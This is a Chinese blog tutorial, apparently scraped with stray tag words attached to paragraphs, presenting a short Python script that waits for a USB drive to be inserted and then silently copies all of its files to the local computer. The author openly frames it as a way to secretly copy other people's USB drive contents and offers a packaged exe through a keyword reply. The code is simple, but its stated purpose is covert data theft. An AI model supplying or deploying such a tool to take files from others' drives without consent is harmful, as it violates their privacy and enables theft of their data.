python 自动监测并拷贝U盘文件

今天给你们介绍一个能够偷偷拷贝别人 U 盘里文件的 python 程序,没错,程序自动监测 U 盘插入并读取 U 盘内文件,拷贝到本地电脑。python

说一说程序的实现思路,因为 U 盘插入电脑后,电脑上会出现一个新的盘符,好比你电脑以前一共有 C、D、E、F 共 4 个盘符,如今插上一个 U 盘后,电脑上会新增一个 G 盘。spa

这个 python 程序就是每隔一段时间就去检查 G 盘这个目录是否存在,若是存在即表示有 U 盘插入电脑了。紧接着就能够读取 G 盘目录下的文件了,同时把 G 盘目录下的文件复制到电脑上其余指定目录下,这样就悄悄的完成了 U 盘文件拷贝。code

可是这里会有一个问题,须要避免重复拷贝。这里咱们能够简单作一个粗略判断便可,判断若是 G 盘的某个目录已经存在于某个指定目录中,就说明已经完成了拷贝,无需重复拷贝了。cdn

下面就直接看具体的代码吧。blog

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil

# U盘的盘符
# 根据你本身电脑的具体盘符
uDiskPath = input("请输入你电脑的U盘盘符:")
uDiskPath += ":/"

# 要复制到的路径
# 为了方便起见,程序默认将文件拷贝到程序所在目录
saveToPath = "./"

#开启一个死循环,每10秒检测一次,直到检测有U盘插入。
while (True):
    if os.path.exists(uDiskPath):
        shutil.copytree(uDiskPath, os.path.join(saveToPath, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
        break
    else:
        time.sleep(10)
复制代码

建议你们把代码拷贝过去,在本身电脑上运行一遍,注意安装对应的三方库。若是你暂时还不熟悉 python,或者 python 环境还没搭建好,那你也能够直接下载 exe 可执行程序先体验一把。utf-8

或者也能够先参考这篇文章,python入门—如何运行python程序。input

我已将该 python 代码打包成一个 exe 可执行程序,你们在后台回复关键字【自动拷贝】便可获取,下载可执行程序后双击执行,而后输入你电脑上 U 盘盘符便可。string

若是你不清楚你电脑 U 盘盘符是什么,你找个 U 盘插上电脑就能够看到盘符了,通常为 G 、H、J 之类的。it

好了,若是以为文章对你有一点点帮助或启发,不妨点个赞吧,有问题也欢迎留言交流。io